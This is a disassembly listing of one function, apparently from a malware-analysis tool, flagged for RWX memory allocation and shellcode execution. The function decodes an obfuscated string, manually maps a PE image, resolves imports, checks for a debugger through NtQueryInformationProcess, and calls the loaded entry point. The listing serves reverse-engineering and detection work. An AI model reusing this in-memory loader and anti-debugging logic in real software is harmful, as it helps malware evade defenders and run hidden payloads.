Function at 0x10028290
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub esp, 0x40
push ebx
push ebp
mov ebp, dword [esp + 0x4c]
mov eax, dword [ebp]
push edi
push 4
push 0x3000
push 8
push 0
mov dword [esp + 0x1c], eax
lea ebx, [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
jne 0x100282cd
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push ebp
jmp 0x10028954
movzx ecx, byte [0x1005d690]
xor cl, byte [0x1005d698]
movzx edx, byte [0x1005d699]
movzx eax, byte [str.ri_aW]
xor dl, byte [0x1005d691]
xor al, byte [0x1005d692]
mov byte [edi], cl
movzx ecx, byte [0x1005d69b]
xor cl, byte [0x1005d693]
mov byte [edi + 1], dl
movzx edx, byte [0x1005d69c]
xor dl, byte [0x1005d694]
mov byte [edi + 2], al
movzx eax, byte [0x1005d69d]
xor al, byte [0x1005d695]
mov byte [edi + 3], cl
movzx ecx, byte [0x1005d69e]
xor cl, byte [0x1005d696]
mov byte [edi + 4], dl
mov byte [edi + 5], al
mov byte [edi + 6], cl
mov byte [edi + 7], 0
call fcn.10029a00
mov ebp, eax
test ebp, ebp
jne 0x10028363
push 0x8000
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call edi
mov eax, dword [esp + 0x50]
jmp 0x1002894c
push edi
push ebp
call fcn.10029960
add esp, 8
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [esp + 0xc]
add ecx, 7
and ecx, 0xfffffff8
push ecx
push ebx
push ebp
call fcn.100299c0
add esp, 0xc
push ebp
cmp eax, 1
je 0x100283b5
call fcn.100298e0
mov edx, dword [esp + 0x54]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
push 0x8000
push 0
push edx
jmp 0x10028954
call fcn.100298e0
mov eax, dword [ebx]
mov ecx, dword [ebx + 4]
lea ebp, [ebx + 4]
add esp, 4
mov dword [esp + 0xc], eax
mov eax, ecx
push 4
lea edx, [eax + eax*2]
add edx, edx
push 0x3000
add edx, edx
push edx
push 0
mov dword [esi + 6], ecx
add ebp, 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 0xa], eax
test eax, eax
jne 0x100283fe
mov eax, dword [esp + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1002894c
xor ecx, ecx
cmp dword [esi + 6], ecx
jbe 0x10028436
xor eax, eax
mov edi, dword [ebp]
mov edx, dword [esi + 0xa]
mov dword [eax + edx], edi
mov edi, dword [ebp + 4]
mov edx, dword [esi + 0xa]
add ebp, 4
mov dword [eax + edx + 4], edi
mov edi, dword [ebp + 4]
mov edx, dword [esi + 0xa]
add ebp, 4
mov dword [eax + edx + 8], edi
inc ecx
add ebp, 4
add eax, 0xc
cmp ecx, dword [esi + 6]
jb 0x10028407
mov eax, dword [ebp]
movzx ecx, ax
sub eax, ecx
add eax, 0x10000
mov edi, eax
push 0x40
push 0x3000
mov eax, 0x40000000
add ebp, 4
mov dword [esi + 0xe], edi
call fcn.10027fa0
add esp, 8
test eax, eax
jne 0x10028485
push 0x40
push 0x3000
call fcn.10027fa0
add esp, 8
test eax, eax
jne 0x10028485
push 0x40
push 0x3000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [esi + 2], eax
test eax, eax
jne 0x100284a7
mov edx, dword [esi + 0xa]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push edx
call edi
mov eax, dword [esp + 0x50]
jmp 0x1002894c
call fcn.10028bd0
mov ebx, eax
test ebx, ebx
jne 0x100284d9
mov ecx, dword [esi + 2]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
push ecx
call edi
mov edx, dword [esi + 0xa]
push 0x8000
push ebx
push edx
call edi
mov eax, dword [esp + 0x50]
jmp 0x1002894c
mov ecx, dword [esp + 0xc]
push ecx
push ebp
push ebx
call fcn.10028c50
add esp, 0xc
test eax, eax
jne 0x10028526
push ebx
call fcn.10028c00
add esp, 4
mov edx, dword [esi + 2]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push edx
call edi
mov eax, dword [esi + 0xa]
push 0x8000
push 0
push eax
call edi
mov ecx, dword [esp + 0x50]
push 0x8000
push 0
push ecx
jmp 0x10028954
mov edx, dword [esi + 2]
push edi
push edx
push ebx
call fcn.10028d10
add esp, 0xc
push ebx
test eax, eax
jne 0x10028572
call fcn.10028c00
mov eax, dword [esi + 2]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
add esp, 4
push 0x8000
push 0
push eax
call edi
mov ecx, dword [esi + 0xa]
push 0x8000
push 0
push ecx
call edi
mov edx, dword [esp + 0x50]
push 0x8000
push 0
push edx
jmp 0x10028954
call fcn.10028d50
add esp, 4
push ebx
test eax, eax
je 0x10028539
call fcn.10028c00
mov ecx, dword [esi + 6]
mov eax, dword [esp + 0x10]
add esp, 4
push 4
add ecx, ecx
push 0x3000
add ecx, ecx
add eax, 7
push ecx
and eax, 0xfffffff8
push 0
add ebp, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov dword [esp + 0xc], ecx
test ecx, ecx
je 0x100284f5
xor eax, eax
cmp dword [esi + 6], eax
jbe 0x100285cf
nop
mov edx, dword [ebp]
mov dword [ecx + eax*4], edx
inc eax
add ebp, 4
cmp eax, dword [esi + 6]
jb 0x100285c0
mov eax, dword [esp + 0x50]
push 0x8000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [esi + 6], 0
mov edx, dword [esi + 2]
mov dword [esp + 0x50], 0
jbe 0x10028645
mov ebp, dword [esi + 0xa]
xor ecx, ecx
mov eax, dword [ecx + ebp + 4]
cmp eax, 2
je 0x10028605
cmp eax, 0x20
jne 0x1002862b
xor eax, eax
xor edi, edi
cmp dword [ecx + ebp], eax
jbe 0x10028625
mov ebx, dword [esi + 0xa]
mov ebx, dword [ecx + ebx]
mov dword [esp + 0x10], ebx
movzx ebx, byte [edx + eax]
inc eax
add edi, ebx
cmp eax, dword [esp + 0x10]
jb 0x10028618
cmp dword [ecx + ebp + 8], edi
jne 0x10028641
mov eax, dword [esp + 0x50]
add edx, dword [ecx + ebp]
inc eax
add ecx, 0xc
mov dword [esp + 0x50], eax
cmp eax, dword [esi + 6]
jb 0x100285f7
jmp 0x10028645
or word [esi], 2
lea ecx, [esp + 0x2c]
mov edi, esi
call fcn.100281d0
test eax, eax
je 0x10028928
mov edi, dword [esp + 0x34]
cmp dword [edi + 4], 8
mov ebp, dword [esp + 0x30]
lea eax, [edi + 4]
jbe 0x1002871d
mov dword [esp + 0x50], eax
mov ecx, eax
mov eax, dword [ecx]
sub eax, 8
shr eax, 1
mov dword [esp + 0x10], eax
mov ebx, 0
je 0x1002870a
lea esp, [esp]
movzx eax, word [edi + ebx*2 + 8]
mov ecx, eax
and ecx, 0xf000
mov edx, 0x3000
cmp dx, cx
je 0x100286b1
mov edx, 0xa000
cmp dx, cx
jne 0x100286c4
mov ecx, dword [esi + 2]
and eax, 0xfff
add eax, dword [edi]
add eax, ecx
sub ecx, dword [ebp + 0x34]
add dword [eax], ecx
jmp 0x100286ff
mov edx, 0x9000
cmp dx, cx
je 0x100286ff
mov edx, 0x7000
cmp dx, cx
jne 0x100286f4
mov ecx, dword [esi + 2]
mov edx, ecx
sub edx, dword [ebp + 0x34]
and eax, 0xfff
add eax, dword [edi]
push edx
add eax, ecx
call fcn.10027ff0
add esp, 4
jmp 0x100286ff
xor eax, eax
cmp ax, cx
jne 0x10028928
inc ebx
cmp ebx, dword [esp + 0x10]
jb 0x10028690
mov ecx, dword [esp + 0x50]
add edi, dword [ecx]
cmp dword [edi + 4], 8
lea ecx, [edi + 4]
mov dword [esp + 0x50], ecx
ja 0x10028673
mov ebp, dword [esp + 0x3c]
mov ebx, ebp
add ebp, 0x10
cmp dword [ebp], 0
je 0x100287a4
lea esp, [esp]
mov edi, dword [ebx + 0xc]
add edi, dword [esi + 2]
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [esp + 0x50], eax
test edi, edi
je 0x100288fa
test eax, eax
je 0x100288fa
mov edi, dword [ebp]
mov eax, dword [esi + 2]
mov ebp, dword [ebx]
add edi, eax
add ebp, eax
cmp dword [edi], 0
je 0x10028798
mov eax, dword [ebp]
test eax, eax
jns 0x10028770
and eax, 0xffff
jmp 0x10028777
mov ecx, dword [esi + 2]
lea eax, [eax + ecx + 2]
mov edx, dword [esp + 0x50]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100288fa
mov dword [edi], eax
add edi, 4
add ebp, 4
cmp dword [edi], 0
jne 0x10028762
add ebx, 0x14
cmp dword [ebx + 0x10], 0
lea ebp, [ebx + 0x10]
jne 0x10028730
push str.NTDLL.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x100287ee
push str.NtQueryInformationProcess
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x100287ee
lea eax, [esp + 0x50]
push eax
push 0x18
lea ecx, [esp + 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
jl 0x100287ee
mov edx, dword [esp + 0x18]
cmp byte [edx + 2], 0
je 0x100287ee
or word [esi], 0x10
cmp dword [esi + 6], 0
mov ebp, dword [esi + 2]
mov dword [esp + 0x50], 0
jbe 0x100288a4
xor edi, edi
jmp 0x10028810
mov eax, dword [esi + 0xa]
mov ebx, dword [edi + eax + 4]
call dword [sym.imp.KERNEL32.dll_GetVersion]
test eax, eax
jns 0x10028839
mov ecx, ebx
and ecx, 0xf
cmp ecx, ebx
je 0x10028839
test bl, 0x30
mov ebx, 4
je 0x10028839
mov ebx, 2
mov edx, dword [esi + 0xa]
mov eax, dword [edi + edx]
push ebx
push 0x1000
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esi + 0xa]
lea eax, [edi + ecx]
mov ecx, dword [eax + 4]
cmp ecx, 2
je 0x10028860
cmp ecx, 0x20
jne 0x10028889
mov dword [eax + 8], 0
mov edx, dword [esi + 0xa]
xor eax, eax
cmp dword [edi + edx], eax
jbe 0x10028889
mov ecx, dword [esi + 0xa]
movzx edx, byte [eax + ebp]
add dword [edi + ecx + 8], edx
lea ecx, [edi + ecx + 8]
mov ecx, dword [esi + 0xa]
inc eax
cmp eax, dword [edi + ecx]
jb 0x10028871
mov eax, dword [esp + 0x50]
mov edx, dword [esi + 0xa]
add ebp, dword [edi + edx]
inc eax
add edi, 0xc
mov dword [esp + 0x50], eax
cmp eax, dword [esi + 6]
jb 0x10028810
mov eax, dword [esp + 0x30]
mov ecx, dword [eax + 0x28]
test ecx, ecx
je 0x100288bf
mov eax, dword [esi + 2]
push 0
push 1
add ecx, eax
push eax
call ecx
test eax, eax
je 0x10028928
mov edx, dword [esp + 0xc]
xor eax, eax
cmp dword [esi + 6], eax
jbe 0x100288e3
xor ecx, ecx
lea esp, [esp]
mov ebx, dword [edx + eax*4]
mov edi, dword [esi + 0xa]
mov dword [ecx + edi + 4], ebx
inc eax
add ecx, 0xc
cmp eax, dword [esi + 6]
jb 0x100288d0
push 0x8000
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop ebp
mov eax, esi
pop ebx
add esp, 0x40
ret
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push eax
call edi
mov ecx, dword [esi + 2]
push 0x8000
push 0
push ecx
call edi
mov edx, dword [esi + 0xa]
push 0x8000
push 0
push edx
jmp 0x10028954
mov ecx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push ecx
call edi
mov edx, dword [esi + 2]
push 0x8000
push 0
push edx
call edi
mov eax, dword [esi + 0xa]
push 0x8000
push 0
push eax
call edi
push 0x8000
push 0
push esi
call edi
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x40
ret